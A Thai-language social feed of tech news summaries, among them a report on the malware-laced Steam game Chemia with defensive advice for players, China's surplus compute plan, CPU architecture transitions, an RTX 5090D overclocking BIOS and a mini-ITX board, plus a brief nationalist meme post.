    🧠 เรื่องเล่าจากข่าว: เกมเอาชีวิตรอดที่ “ขโมยชีวิตดิจิทัล” ของคุณ ลองจินตนาการว่าคุณโหลดเกมเอาชีวิตรอดชื่อ Chemia จาก Steam เพื่อเล่นในช่วง Early Access แต่แทนที่จะได้สนุกกับการสร้างฐานและฝ่าฟันภัยพิบัติ คุณกลับโดนขโมยข้อมูลส่วนตัวและคริปโตแบบไม่รู้ตัว — นี่คือสิ่งที่เกิดขึ้นจริง! บริษัทความปลอดภัยไซเบอร์ Prodaft เปิดเผยว่าเกม Chemia ถูกฝังมัลแวร์ 3 สายพันธุ์ ได้แก่: - Fickle Stealer: ขโมยข้อมูลจากเบราว์เซอร์, password manager และ crypto wallet - Vidar Stealer: มัลแวร์แบบบริการ (Malware-as-a-Service) ที่เชื่อมต่อผ่านโซเชียลมีเดีย - HijackLoader: ตัวโหลดมัลแวร์ที่สามารถติดตั้งภัยคุกคามอื่นในอนาคต เกมนี้ถูกแจกผ่านระบบ Playtest ของ Steam ซึ่งต้องขอสิทธิ์เข้าถึงก่อนเล่น ทำให้ดูเหมือนปลอดภัย แต่จริง ๆ แล้วเป็นช่องทางที่แฮกเกอร์ใช้หลบเลี่ยงการตรวจสอบของแพลตฟอร์ม ✅ เกม Chemia ถูกใช้เป็นช่องทางแพร่มัลแวร์ ➡️ ฝังมัลแวร์ 3 ชนิด: Fickle Stealer, Vidar Stealer, HijackLoader ➡️ มัลแวร์ทำงานเมื่อผู้ใช้เปิดเกม โดยรันควบคู่กับแอปพลิเคชันจริง ✅ มัลแวร์แต่ละตัวมีหน้าที่เฉพาะ ➡️ Fickle Stealer: ใช้ PowerShell ขโมยข้อมูลระบบและไฟล์สำคัญ ➡️ Vidar Stealer: เชื่อมต่อผ่านโซเชียลมีเดียเพื่อส่งข้อมูล ➡️ HijackLoader: ใช้ติดตั้งมัลแวร์อื่นในอนาคต ✅ เกมถูกแจกผ่านระบบ Playtest ของ Steam ➡️ ต้องขอสิทธิ์ก่อนเล่น ทำให้ดูเหมือนปลอดภัย ➡️ ไม่มีรีวิวหรือข้อมูลจากนักพัฒนาอื่น ทำให้ตรวจสอบยาก ✅ นักพัฒนา Aether Forge Studios ไม่มีตัวตนชัดเจน ➡️ ไม่มีเว็บไซต์หรือโซเชียลมีเดียที่เชื่อมโยงกับเกม ➡️ อาจเป็นบัญชีปลอมที่ใช้หลอกลวงผู้ใช้ ✅ Prodaft เผยว่าแฮกเกอร์ชื่อ EncryptHub อยู่เบื้องหลัง ➡️ เคยมีประวัติการโจมตีแบบ spear-phishing ตั้งแต่ปี 2024 ➡️ แชร์ Indicators of Compromise (IOCs) บน GitHub เพื่อช่วยตรวจสอบ ‼️ เกมบนแพลตฟอร์มที่เชื่อถือได้ก็อาจไม่ปลอดภัย ⛔ Steam ไม่สามารถตรวจสอบมัลแวร์ในทุกเกมได้ทันที ⛔ ผู้ใช้มักเชื่อว่าการโหลดจาก Steam คือ “ปลอดภัยโดยอัตโนมัติ” ‼️ มัลแวร์สามารถขโมยข้อมูลสำคัญได้ทันทีที่เปิดเกม ⛔ ข้อมูลที่ถูกขโมยรวมถึงรหัสผ่าน, session token, และ crypto wallet ⛔ อาจนำไปสู่การสูญเสียทางการเงินและการขโมยตัวตน ‼️ ระบบ Early Access และ Playtest อาจถูกใช้เป็นช่องทางโจมตี ⛔ เกมที่ยังไม่เปิดตัวเต็มรูปแบบอาจไม่มีการตรวจสอบเข้มงวด ⛔ แฮกเกอร์ใช้ช่องโหว่นี้ในการฝังโค้ดอันตราย ‼️ ผู้ใช้ที่เคยเล่น Chemia ควรตรวจสอบระบบทันที ⛔ ลบเกมออกจากเครื่อง ⛔ สแกนมัลแวร์เต็มระบบ ⛔ เปลี่ยนรหัสผ่านทุกบัญชีที่เคยล็อกอินระหว่างเล่นเกม https://www.tomshardware.com/tech-industry/cyber-security/hacker-plants-three-strains-of-malware-in-a-steam-early-access-game-called-chemia-security-company-found-crypto-jacking-infostealers-and-a-backdoor-to-install-yet-more-malware-in-the-future
    0 Comments 0 Shares 188 Views 0 Reviews
  • เดี๋ยวนะ ท.ขะแมร์หนี F-16 นะเข้าใจ แต่นายคือต้องอมอะไรก่อน? [25/7/68]

    #ทหารขะแมร์หนีF16
    #F16ไทยบินเหนือฟ้า
    #อมอะไรก่อนนาย
    #ขะแมร์แตกฮือ
    #มุกแรงแนวหน้าชายแดน
    #ข่าวทหารฮาไม่ไหว
    #หนีF16ยังไงให้ฮา
    #แนวหน้าชายแดน
    #ThaiAirForcePower
    #กัมพูชายิงก่อน
    #柬埔寨先开火 (จีน)
    #カンボジアが先に発砲 (ญี่ปุ่น)
    #캄보디아가먼저발포 (เกาหลี)
    #ไทยนี้รักสงบแต่ถึงรบไม่ขลาด
    #CambodiaOpenedFire
    #thaitimes
    #news1
    #shorts
    เดี๋ยวนะ ท.ขะแมร์หนี F-16 นะเข้าใจ แต่นายคือต้องอมอะไรก่อน? [25/7/68] #ทหารขะแมร์หนีF16 #F16ไทยบินเหนือฟ้า #อมอะไรก่อนนาย #ขะแมร์แตกฮือ #มุกแรงแนวหน้าชายแดน #ข่าวทหารฮาไม่ไหว #หนีF16ยังไงให้ฮา #แนวหน้าชายแดน #ThaiAirForcePower #กัมพูชายิงก่อน #柬埔寨先开火 (จีน) #カンボジアが先に発砲 (ญี่ปุ่น) #캄보디아가먼저발포 (เกาหลี) #ไทยนี้รักสงบแต่ถึงรบไม่ขลาด #CambodiaOpenedFire #thaitimes #news1 #shorts
    0 Comments 0 Shares 168 Views 0 0 Reviews
  • เรื่องเล่าจากศูนย์ข้อมูล: เมื่อจีนมีพลังคอมพิวเตอร์เหลือใช้ แต่ยังขายไม่ได้

    Tom’s Hardware รายงานว่า จีนกำลังพัฒนาเครือข่ายระดับประเทศเพื่อขายพลังประมวลผลส่วนเกินจากศูนย์ข้อมูล ที่ไม่ได้ใช้งานเต็มประสิทธิภาพ โดยมีเป้าหมายเพื่อเพิ่มการใช้ทรัพยากรให้คุ้มค่าและสนับสนุนการเติบโตของ AI และคลาวด์ในประเทศ แต่ก็เผชิญกับอุปสรรคสำคัญ เช่น ความล่าช้าในการเชื่อมต่อ (latency) และ ความหลากหลายของฮาร์ดแวร์ ที่ทำให้การรวมระบบเป็นเรื่องยาก

    จีนเคยผลักดันยุทธศาสตร์ “Eastern Data, Western Computing” โดยให้สร้างศูนย์ข้อมูลในพื้นที่ตะวันตกที่ค่าไฟถูก เพื่อรองรับความต้องการจากเมืองเศรษฐกิจฝั่งตะวันออก แต่ความจริงกลับไม่เป็นไปตามแผน:
    - ศูนย์ข้อมูลหลายแห่งใช้งานเพียง 20–30% ของความสามารถ
    - รัฐลงทุนไปกว่า $3.4 พันล้านในปี 2024 แต่ผลตอบแทนยังไม่คุ้ม
    - มีโครงการถูกยกเลิกกว่า 100 แห่งใน 18 เดือนที่ผ่านมา

    เพื่อแก้ปัญหา รัฐบาลจีนจึงเตรียมสร้าง เครือข่ายคลาวด์ระดับชาติ โดยรวมพลังประมวลผลที่เหลือจากศูนย์ต่าง ๆ มาให้บริการผ่านระบบรวมศูนย์ โดยร่วมมือกับ China Mobile, China Telecom และ China Unicom

    แต่ก็มีอุปสรรคใหญ่:
    - ความล่าช้าในการเชื่อมต่อจากศูนย์ข้อมูลในพื้นที่ห่างไกล
    - ความหลากหลายของฮาร์ดแวร์ เช่น บางแห่งใช้ Nvidia CUDA บางแห่งใช้ Huawei CANN ทำให้รวมกันไม่ได้ง่าย

    แม้จะมีความท้าทาย แต่รัฐบาลยังคงมุ่งมั่น เพราะเชื่อว่าแนวทางนี้จะช่วยให้การลงทุนใน AI และคลาวด์มีประสิทธิภาพมากขึ้น

    ศูนย์ข้อมูลในพื้นที่ห่างไกลมักมีค่าไฟถูก แต่ latency สูง
    ไม่เหมาะกับงานที่ต้องการความเร็วตอบสนองทันที

    การรวมพลังประมวลผลแบบ distributed computing ต้องใช้ระบบจัดการที่ซับซ้อน
    เช่น Kubernetes, scheduling algorithms และระบบ billing ที่แม่นยำ

    ความหลากหลายของฮาร์ดแวร์ในคลาวด์อาจต้องใช้ containerization หรือ virtualization
    เพื่อให้ผู้ใช้งานเลือกได้ว่าจะใช้ GPU แบบไหน

    การสร้างเครือข่ายคลาวด์ระดับชาติอาจช่วยลดการพึ่งพา hyperscalers ต่างชาติ
    เช่น AWS, Azure และ Google Cloud

    https://www.tomshardware.com/desktops/servers/china-is-developing-nation-spanning-network-to-sell-surplus-data-center-compute-power-latency-disparate-hardware-are-key-hurdles
    🎙️ เรื่องเล่าจากศูนย์ข้อมูล: เมื่อจีนมีพลังคอมพิวเตอร์เหลือใช้ แต่ยังขายไม่ได้ Tom’s Hardware รายงานว่า จีนกำลังพัฒนาเครือข่ายระดับประเทศเพื่อขายพลังประมวลผลส่วนเกินจากศูนย์ข้อมูล ที่ไม่ได้ใช้งานเต็มประสิทธิภาพ โดยมีเป้าหมายเพื่อเพิ่มการใช้ทรัพยากรให้คุ้มค่าและสนับสนุนการเติบโตของ AI และคลาวด์ในประเทศ แต่ก็เผชิญกับอุปสรรคสำคัญ เช่น ความล่าช้าในการเชื่อมต่อ (latency) และ ความหลากหลายของฮาร์ดแวร์ ที่ทำให้การรวมระบบเป็นเรื่องยาก จีนเคยผลักดันยุทธศาสตร์ “Eastern Data, Western Computing” โดยให้สร้างศูนย์ข้อมูลในพื้นที่ตะวันตกที่ค่าไฟถูก เพื่อรองรับความต้องการจากเมืองเศรษฐกิจฝั่งตะวันออก แต่ความจริงกลับไม่เป็นไปตามแผน: - ศูนย์ข้อมูลหลายแห่งใช้งานเพียง 20–30% ของความสามารถ - รัฐลงทุนไปกว่า $3.4 พันล้านในปี 2024 แต่ผลตอบแทนยังไม่คุ้ม - มีโครงการถูกยกเลิกกว่า 100 แห่งใน 18 เดือนที่ผ่านมา เพื่อแก้ปัญหา รัฐบาลจีนจึงเตรียมสร้าง เครือข่ายคลาวด์ระดับชาติ โดยรวมพลังประมวลผลที่เหลือจากศูนย์ต่าง ๆ มาให้บริการผ่านระบบรวมศูนย์ โดยร่วมมือกับ China Mobile, China Telecom และ China Unicom แต่ก็มีอุปสรรคใหญ่: - ความล่าช้าในการเชื่อมต่อจากศูนย์ข้อมูลในพื้นที่ห่างไกล - ความหลากหลายของฮาร์ดแวร์ เช่น บางแห่งใช้ Nvidia CUDA บางแห่งใช้ Huawei CANN ทำให้รวมกันไม่ได้ง่าย แม้จะมีความท้าทาย แต่รัฐบาลยังคงมุ่งมั่น เพราะเชื่อว่าแนวทางนี้จะช่วยให้การลงทุนใน AI และคลาวด์มีประสิทธิภาพมากขึ้น 💡 ศูนย์ข้อมูลในพื้นที่ห่างไกลมักมีค่าไฟถูก แต่ latency สูง ➡️ ไม่เหมาะกับงานที่ต้องการความเร็วตอบสนองทันที 💡 การรวมพลังประมวลผลแบบ distributed computing ต้องใช้ระบบจัดการที่ซับซ้อน ➡️ เช่น Kubernetes, scheduling algorithms และระบบ billing ที่แม่นยำ 💡 ความหลากหลายของฮาร์ดแวร์ในคลาวด์อาจต้องใช้ containerization หรือ virtualization ➡️ เพื่อให้ผู้ใช้งานเลือกได้ว่าจะใช้ GPU แบบไหน 💡 การสร้างเครือข่ายคลาวด์ระดับชาติอาจช่วยลดการพึ่งพา hyperscalers ต่างชาติ ➡️ เช่น AWS, Azure และ Google Cloud https://www.tomshardware.com/desktops/servers/china-is-developing-nation-spanning-network-to-sell-surplus-data-center-compute-power-latency-disparate-hardware-are-key-hurdles
    0 Comments 0 Shares 200 Views 0 Reviews
  • การเปลี่ยนผ่านสถาปัตยกรรม CPU: ศึกใหญ่ระหว่าง Microsoft และ Apple

    การเปลี่ยนผ่านสถาปัตยกรรม CPU เปรียบเสมือนการเปลี่ยน "กระดูกสันหลัง" ของระบบคอมพิวเตอร์ เป็นภารกิจที่เสี่ยงแต่จำเป็นสำหรับบริษัทเทคโนโลยียักษ์ใหญ่ โดยเฉพาะ Microsoft และ Apple ซึ่งมีแนวทางแตกต่างกันชัดเจน บทความนี้จะวิเคราะห์ความท้าทาย กลยุทธ์ และผลลัพธ์ของทั้งสองบริษัท เพื่อให้เข้าใจว่าทำไมบางการเปลี่ยนผ่านจึงสำเร็จ และบางครั้งก็กลายเป็นบทเรียนราคาแพง

    Microsoft Windows: เส้นทางแห่งบทเรียนและความพยายาม
    จาก x86 สู่ x64: ก้าวแรกที่มั่นคง
    Microsoft เริ่มต้นด้วยการเปลี่ยนจากสถาปัตยกรรม x86 (32-bit) สู่ x64 (64-bit) เพื่อตอบโจทย์การใช้หน่วยความจำและประสิทธิภาพที่สูงขึ้น การเปลี่ยนผ่านนี้ประสบความสำเร็จเพราะใช้เทคโนโลยีจำลองอย่าง WoW64 ที่ช่วยให้แอปเก่าแบบ 32-bit ยังใช้งานได้บนระบบใหม่ ทำให้ผู้ใช้ไม่รู้สึกสะดุดในการใช้งาน

    แต่เบื้องหลังความราบรื่นนั้น คือภาระในการรักษาความเข้ากันได้ย้อนหลังที่ซับซ้อนและยืดเยื้อ ซึ่งในระยะยาวอาจเป็นอุปสรรคต่อการก้าวไปข้างหน้าอย่างรวดเร็ว

    Windows RT: ความพยายามที่ผิดพลาด
    ในปี 2012 Microsoft พยายามพา Windows สู่ชิป ARM ด้วย Windows RT แต่ล้มเหลวอย่างรุนแรง เพราะไม่สามารถรันแอป x86 เดิมได้เลย ทำให้ผู้ใช้สับสนและไม่ยอมรับ ผลที่ตามมาคือยอดขายต่ำและขาดทุนมหาศาลถึง 900 ล้านดอลลาร์ นี่เป็นบทเรียนสำคัญที่ทำให้ Microsoft ตระหนักว่า "ความเข้ากันได้" ไม่ใช่แค่เรื่องรอง แต่เป็นหัวใจหลักของแพลตฟอร์ม Windows

    Windows on ARM (WoA): กลับมาอย่างมีแผน
    จากความล้มเหลวของ Windows RT, Microsoft ปรับกลยุทธ์ใหม่และพัฒนา Windows on ARM ที่ทันสมัย พร้อมตัวจำลองที่ทรงพลังอย่าง Prism Emulator และประสิทธิภาพที่น่าประทับใจจากชิป Snapdragon X Elite แม้จะมีความก้าวหน้า แต่ยังมีข้อจำกัดบางอย่าง เช่น ไดรเวอร์ระดับลึกหรือเกมบางประเภทที่ยังทำงานไม่ได้หากไม่มีการพัฒนาให้รองรับ ARM โดยตรง

    Apple: การเปลี่ยนผ่านที่เด็ดขาดและชาญฉลาด
    PowerPC สู่ Intel: ข้ามผ่านความล้าหลัง
    ในปี 2005 Apple ตัดสินใจเปลี่ยนจาก PowerPC ไปสู่ Intel แม้จะมีอุปสรรคทางเทคนิค เช่น รูปแบบการจัดข้อมูลในหน่วยความจำที่ไม่เหมือนกัน (endianness) แต่ Apple ก็สามารถจัดการได้ด้วยตัวแปล Rosetta 1 ที่แปลงแอปเก่าให้รันบนสถาปัตยกรรมใหม่ได้

    สิ่งที่น่าสังเกตคือ Apple ยกเลิกการรองรับ Rosetta ภายในเวลาเพียง 5 ปี แสดงให้เห็นถึงความเด็ดขาดในการเดินหน้าสู่อนาคต แม้จะแลกมาด้วยความไม่พอใจจากผู้ใช้บางส่วนที่ยังใช้ซอฟต์แวร์เก่าอยู่

    Apple Silicon: การเปลี่ยนผ่านที่ “ไร้รอยต่อ”
    ในปี 2020 Apple เปิดตัวชิป Apple Silicon (M1) ซึ่งถือเป็นการปฏิวัติด้านฮาร์ดแวร์อย่างแท้จริง ความสำเร็จครั้งนี้เกิดจากการวางแผนระยะยาว: Apple พัฒนาชิป ARM สำหรับ iPhone มาหลายปี, รวมฐานของ macOS และ iOS ให้เหมือนกัน, และเตรียม API ใหม่ให้รองรับ ARM ล่วงหน้าหลายปี

    Rosetta 2 ทำให้แอป Intel สามารถรันบนชิป M1 ได้อย่างมีประสิทธิภาพ และที่น่าทึ่งคือในบางกรณีแอปที่ถูกแปลยังทำงานได้ดีกว่าแอปต้นฉบับบนเครื่อง Intel เดิมด้วยซ้ำ การควบคุมทุกส่วนของระบบทั้งฮาร์ดแวร์และซอฟต์แวร์อย่างแนวดิ่ง ช่วยให้ Apple เคลื่อนไหวได้เร็วและเด็ดขาด

    Microsoft vs Apple: คนละแนวทาง สู่ผลลัพธ์ที่ต่างกัน
    แม้ทั้ง Microsoft และ Apple จะใช้ “การจำลอง” เป็นหัวใจในการเปลี่ยนผ่าน แต่ปรัชญาที่อยู่เบื้องหลังแตกต่างกันโดยสิ้นเชิง:

    Microsoft เน้น “ความเข้ากันได้ต้องมาก่อน” ซึ่งช่วยรักษาผู้ใช้เก่าไว้ได้ แต่ก็ต้องแบกรับความซับซ้อนและข้อจำกัดมากมาย เพราะต้องรองรับฮาร์ดแวร์และซอฟต์แวร์เก่าให้ได้ทุกกรณี การเปลี่ยนผ่านจึงมักช้าและต้องค่อยๆ ปรับตัวไปทีละขั้น

    ในทางตรงกันข้าม Apple เลือก “ตัดของเก่าแล้วมุ่งหน้า” ใช้วิธีเด็ดขาดและเตรียมการล่วงหน้าอย่างดี ทั้งการออกแบบชิปเอง ควบคุม OS และกำหนดกรอบให้กับนักพัฒนา การเปลี่ยนผ่านจึงรวดเร็ว ราบรื่น และน่าประทับใจอย่างมากในสายตาผู้ใช้

    บทสรุป: เส้นทางต่าง สู่ความสำเร็จที่ไม่เหมือนกัน
    การเปลี่ยนผ่านสถาปัตยกรรม CPU ไม่ใช่แค่เรื่องเทคนิค แต่มันคือ "การวางหมาก" เชิงกลยุทธ์ในระบบนิเวศซอฟต์แวร์และผู้ใช้นับล้าน

    Microsoft กำลังฟื้นตัวจากอดีตที่ผิดพลาด และก้าวเข้าสู่ยุคใหม่ของ ARM ด้วยประสิทธิภาพและการจำลองที่ดีขึ้นเรื่อยๆ
    ในขณะที่ Apple ได้กลายเป็นตัวอย่างระดับโลกของการเปลี่ยนผ่านที่ประสบความสำเร็จที่สุด ด้วยความกล้าที่จะตัดขาดจากอดีตและควบคุมอนาคตด้วยตนเอง

    คำถามที่น่าสนใจคือ: โลกคอมพิวเตอร์ในอนาคตจะให้คุณค่ากับ “ความยืดหยุ่นแบบเปิด” ของ Microsoft หรือ “ความเร็วและประสิทธิภาพแบบปิด” ของ Apple มากกว่ากัน?

    #ลุงเขียนหลานอ่าน
    🧠 การเปลี่ยนผ่านสถาปัตยกรรม CPU: ศึกใหญ่ระหว่าง Microsoft และ Apple การเปลี่ยนผ่านสถาปัตยกรรม CPU เปรียบเสมือนการเปลี่ยน "กระดูกสันหลัง" ของระบบคอมพิวเตอร์ เป็นภารกิจที่เสี่ยงแต่จำเป็นสำหรับบริษัทเทคโนโลยียักษ์ใหญ่ โดยเฉพาะ Microsoft และ Apple ซึ่งมีแนวทางแตกต่างกันชัดเจน บทความนี้จะวิเคราะห์ความท้าทาย กลยุทธ์ และผลลัพธ์ของทั้งสองบริษัท เพื่อให้เข้าใจว่าทำไมบางการเปลี่ยนผ่านจึงสำเร็จ และบางครั้งก็กลายเป็นบทเรียนราคาแพง 🪟 Microsoft Windows: เส้นทางแห่งบทเรียนและความพยายาม 🧱 จาก x86 สู่ x64: ก้าวแรกที่มั่นคง Microsoft เริ่มต้นด้วยการเปลี่ยนจากสถาปัตยกรรม x86 (32-bit) สู่ x64 (64-bit) เพื่อตอบโจทย์การใช้หน่วยความจำและประสิทธิภาพที่สูงขึ้น การเปลี่ยนผ่านนี้ประสบความสำเร็จเพราะใช้เทคโนโลยีจำลองอย่าง WoW64 ที่ช่วยให้แอปเก่าแบบ 32-bit ยังใช้งานได้บนระบบใหม่ ทำให้ผู้ใช้ไม่รู้สึกสะดุดในการใช้งาน แต่เบื้องหลังความราบรื่นนั้น คือภาระในการรักษาความเข้ากันได้ย้อนหลังที่ซับซ้อนและยืดเยื้อ ซึ่งในระยะยาวอาจเป็นอุปสรรคต่อการก้าวไปข้างหน้าอย่างรวดเร็ว 💥 Windows RT: ความพยายามที่ผิดพลาด ในปี 2012 Microsoft พยายามพา Windows สู่ชิป ARM ด้วย Windows RT แต่ล้มเหลวอย่างรุนแรง เพราะไม่สามารถรันแอป x86 เดิมได้เลย ทำให้ผู้ใช้สับสนและไม่ยอมรับ ผลที่ตามมาคือยอดขายต่ำและขาดทุนมหาศาลถึง 900 ล้านดอลลาร์ นี่เป็นบทเรียนสำคัญที่ทำให้ Microsoft ตระหนักว่า "ความเข้ากันได้" ไม่ใช่แค่เรื่องรอง แต่เป็นหัวใจหลักของแพลตฟอร์ม Windows 🔄 Windows on ARM (WoA): กลับมาอย่างมีแผน จากความล้มเหลวของ Windows RT, Microsoft ปรับกลยุทธ์ใหม่และพัฒนา Windows on ARM ที่ทันสมัย พร้อมตัวจำลองที่ทรงพลังอย่าง Prism Emulator และประสิทธิภาพที่น่าประทับใจจากชิป Snapdragon X Elite แม้จะมีความก้าวหน้า แต่ยังมีข้อจำกัดบางอย่าง เช่น ไดรเวอร์ระดับลึกหรือเกมบางประเภทที่ยังทำงานไม่ได้หากไม่มีการพัฒนาให้รองรับ ARM โดยตรง 🍎 Apple: การเปลี่ยนผ่านที่เด็ดขาดและชาญฉลาด 🔄 PowerPC สู่ Intel: ข้ามผ่านความล้าหลัง ในปี 2005 Apple ตัดสินใจเปลี่ยนจาก PowerPC ไปสู่ Intel แม้จะมีอุปสรรคทางเทคนิค เช่น รูปแบบการจัดข้อมูลในหน่วยความจำที่ไม่เหมือนกัน (endianness) แต่ Apple ก็สามารถจัดการได้ด้วยตัวแปล Rosetta 1 ที่แปลงแอปเก่าให้รันบนสถาปัตยกรรมใหม่ได้ สิ่งที่น่าสังเกตคือ Apple ยกเลิกการรองรับ Rosetta ภายในเวลาเพียง 5 ปี แสดงให้เห็นถึงความเด็ดขาดในการเดินหน้าสู่อนาคต แม้จะแลกมาด้วยความไม่พอใจจากผู้ใช้บางส่วนที่ยังใช้ซอฟต์แวร์เก่าอยู่ 🚀 Apple Silicon: การเปลี่ยนผ่านที่ “ไร้รอยต่อ” ในปี 2020 Apple เปิดตัวชิป Apple Silicon (M1) ซึ่งถือเป็นการปฏิวัติด้านฮาร์ดแวร์อย่างแท้จริง ความสำเร็จครั้งนี้เกิดจากการวางแผนระยะยาว: Apple พัฒนาชิป ARM สำหรับ iPhone มาหลายปี, รวมฐานของ macOS และ iOS ให้เหมือนกัน, และเตรียม API ใหม่ให้รองรับ ARM ล่วงหน้าหลายปี Rosetta 2 ทำให้แอป Intel สามารถรันบนชิป M1 ได้อย่างมีประสิทธิภาพ และที่น่าทึ่งคือในบางกรณีแอปที่ถูกแปลยังทำงานได้ดีกว่าแอปต้นฉบับบนเครื่อง Intel เดิมด้วยซ้ำ การควบคุมทุกส่วนของระบบทั้งฮาร์ดแวร์และซอฟต์แวร์อย่างแนวดิ่ง ช่วยให้ Apple เคลื่อนไหวได้เร็วและเด็ดขาด ⚖️ Microsoft vs Apple: คนละแนวทาง สู่ผลลัพธ์ที่ต่างกัน แม้ทั้ง Microsoft และ Apple จะใช้ “การจำลอง” เป็นหัวใจในการเปลี่ยนผ่าน แต่ปรัชญาที่อยู่เบื้องหลังแตกต่างกันโดยสิ้นเชิง: 🎯 Microsoft เน้น “ความเข้ากันได้ต้องมาก่อน” ซึ่งช่วยรักษาผู้ใช้เก่าไว้ได้ แต่ก็ต้องแบกรับความซับซ้อนและข้อจำกัดมากมาย เพราะต้องรองรับฮาร์ดแวร์และซอฟต์แวร์เก่าให้ได้ทุกกรณี การเปลี่ยนผ่านจึงมักช้าและต้องค่อยๆ ปรับตัวไปทีละขั้น 🛠️ ในทางตรงกันข้าม Apple เลือก “ตัดของเก่าแล้วมุ่งหน้า” ใช้วิธีเด็ดขาดและเตรียมการล่วงหน้าอย่างดี ทั้งการออกแบบชิปเอง ควบคุม OS และกำหนดกรอบให้กับนักพัฒนา การเปลี่ยนผ่านจึงรวดเร็ว ราบรื่น และน่าประทับใจอย่างมากในสายตาผู้ใช้ 🔚 บทสรุป: เส้นทางต่าง สู่ความสำเร็จที่ไม่เหมือนกัน การเปลี่ยนผ่านสถาปัตยกรรม CPU ไม่ใช่แค่เรื่องเทคนิค แต่มันคือ "การวางหมาก" เชิงกลยุทธ์ในระบบนิเวศซอฟต์แวร์และผู้ใช้นับล้าน Microsoft กำลังฟื้นตัวจากอดีตที่ผิดพลาด และก้าวเข้าสู่ยุคใหม่ของ ARM ด้วยประสิทธิภาพและการจำลองที่ดีขึ้นเรื่อยๆ ในขณะที่ Apple ได้กลายเป็นตัวอย่างระดับโลกของการเปลี่ยนผ่านที่ประสบความสำเร็จที่สุด ด้วยความกล้าที่จะตัดขาดจากอดีตและควบคุมอนาคตด้วยตนเอง 🧩 คำถามที่น่าสนใจคือ: โลกคอมพิวเตอร์ในอนาคตจะให้คุณค่ากับ “ความยืดหยุ่นแบบเปิด” ของ Microsoft หรือ “ความเร็วและประสิทธิภาพแบบปิด” ของ Apple มากกว่ากัน? #ลุงเขียนหลานอ่าน
    0 Comments 0 Shares 205 Views 1 Reviews
  • เรื่องเล่าจาก BIOS หลุดที่ทำให้ GPU แรง: เมื่อ RTX 5090D ถูกปลดล็อกให้กินไฟเกิน 2,000 วัตต์

    BIOS XOC ตัวนี้ไม่ได้มาจาก ASUS โดยตรง แต่ถูกอัปโหลดเข้าสู่ฐานข้อมูล TechPowerUp GPU BIOS DB และได้รับการยืนยันว่าใช้งานได้จริง โดย:
    - ปลดล็อก TDP จาก 575 W เป็น 2,001 W (เพิ่มขึ้น 3.5 เท่า)
    - ต้องใช้สายไฟแบบ 12V-2×6 หลายเส้น หรือระบบจ่ายไฟแบบ custom
    - ต้องใช้ระบบระบายความร้อนระดับน้ำหรือ LN2 เท่านั้น
    - การติดตั้ง BIOS นี้จะทำให้หมดประกันทันที

    อย่างไรก็ตาม BIOS นี้ยังมีโหมดลด TDP ลงเหลือ 400 W สำหรับการทดลอง undervolt ซึ่งเป็นฟีเจอร์ที่น่าสนใจสำหรับสายประหยัดพลังงาน

    ผู้ใช้ในฟอรั่ม TechPowerUp แสดงความคิดเห็นว่า:
    - BIOS นี้ไม่ได้ออกแบบมาให้ใช้งานที่ 2,000 W จริง แต่เพื่อป้องกันการจำกัดพลังงานในช่วง spike
    - การใช้งานจริงอาจอยู่ที่ 1,000–1,300 W หากใช้ระบบระบายความร้อนแบบ sub-ambient

    https://www.techpowerup.com/339197/2-001-watt-xoc-bios-for-asus-rog-astral-rtx-5090d-appears
    🎙️ เรื่องเล่าจาก BIOS หลุดที่ทำให้ GPU แรง: เมื่อ RTX 5090D ถูกปลดล็อกให้กินไฟเกิน 2,000 วัตต์ BIOS XOC ตัวนี้ไม่ได้มาจาก ASUS โดยตรง แต่ถูกอัปโหลดเข้าสู่ฐานข้อมูล TechPowerUp GPU BIOS DB และได้รับการยืนยันว่าใช้งานได้จริง โดย: - ปลดล็อก TDP จาก 575 W เป็น 2,001 W (เพิ่มขึ้น 3.5 เท่า) - ต้องใช้สายไฟแบบ 12V-2×6 หลายเส้น หรือระบบจ่ายไฟแบบ custom - ต้องใช้ระบบระบายความร้อนระดับน้ำหรือ LN2 เท่านั้น - การติดตั้ง BIOS นี้จะทำให้หมดประกันทันที อย่างไรก็ตาม BIOS นี้ยังมีโหมดลด TDP ลงเหลือ 400 W สำหรับการทดลอง undervolt ซึ่งเป็นฟีเจอร์ที่น่าสนใจสำหรับสายประหยัดพลังงาน ผู้ใช้ในฟอรั่ม TechPowerUp แสดงความคิดเห็นว่า: - BIOS นี้ไม่ได้ออกแบบมาให้ใช้งานที่ 2,000 W จริง แต่เพื่อป้องกันการจำกัดพลังงานในช่วง spike - การใช้งานจริงอาจอยู่ที่ 1,000–1,300 W หากใช้ระบบระบายความร้อนแบบ sub-ambient https://www.techpowerup.com/339197/2-001-watt-xoc-bios-for-asus-rog-astral-rtx-5090d-appears
    WWW.TECHPOWERUP.COM
    2,001 Watt XOC BIOS for ASUS ROG Astral RTX 5090D Appears
    An unverified 2,001-watt XOC BIOS for the China-exclusive ASUS ROG Astral RTX 5090D has surfaced on the TechPowerUp GPU BIOS DB, instantly tripling the card's stock 575 W limit. And just like last week's China-only GALAX HOF leak, it's opening kilowatt-class overclocking to enthusiasts who are willi...
    0 Comments 0 Shares 138 Views 0 Reviews
  • เรื่องเล่าจากเมนบอร์ดไซส์เล็ก: เมื่อ “Strix Halo” มาอยู่ในร่างบางพร้อม RAM 128GB

    Sixunited เปิดตัวเมนบอร์ดรหัส STHT1 ที่ใช้ซีพียู Strix Halo (Ryzen AI Max) ซึ่งเป็นรุ่นเดสก์ท็อปที่ใช้สถาปัตยกรรม Zen 5 และกราฟิก RDNA 3.5 โดยซีพียูมีให้เลือกตั้งแต่ 8 ถึง 16 คอร์ ส่วนกราฟิก Radeon 8060S มีถึง 40 compute units — เทียบเท่ากับ GPU แบบแยกระดับกลาง

    เมนบอร์ดนี้ยังจัดเต็มแรม LPDDR5X ขนาด 128GB แบบ on-board (ฝังไว้) โดยใช้ชิป 16GB × 8 ตัว ล้อมรอบซีพียู ซึ่งแม้จะไม่สามารถอัปเกรดได้ แต่ก็เพียงพอสำหรับงาน AI inference, training เบื้องต้น หรือการสร้าง content ที่กิน RAM มาก

    จุดเด่นอีกอย่างคือขนาด “thin Mini-ITX” ขนาด 170×170 มม. แต่ความสูง (z-height) ต่ำมาก เหมาะกับเคสบาง หรือ AIO ที่ต้องการประหยัดพื้นที่

    เมนบอร์ด STHT1 จาก Sixunited ใช้ AMD Ryzen AI Max 300-series “Strix Halo”
    ซีพียู Zen 5 พร้อมกราฟิก RDNA 3.5 สูงสุด 16 คอร์ และ 40 CU

    แรม LPDDR5X ขนาด 128GB ติดตั้งแบบฝังบนบอร์ด
    ใช้ชิป 16GB × 8 ตัว ล้อมรอบตัวซีพียู

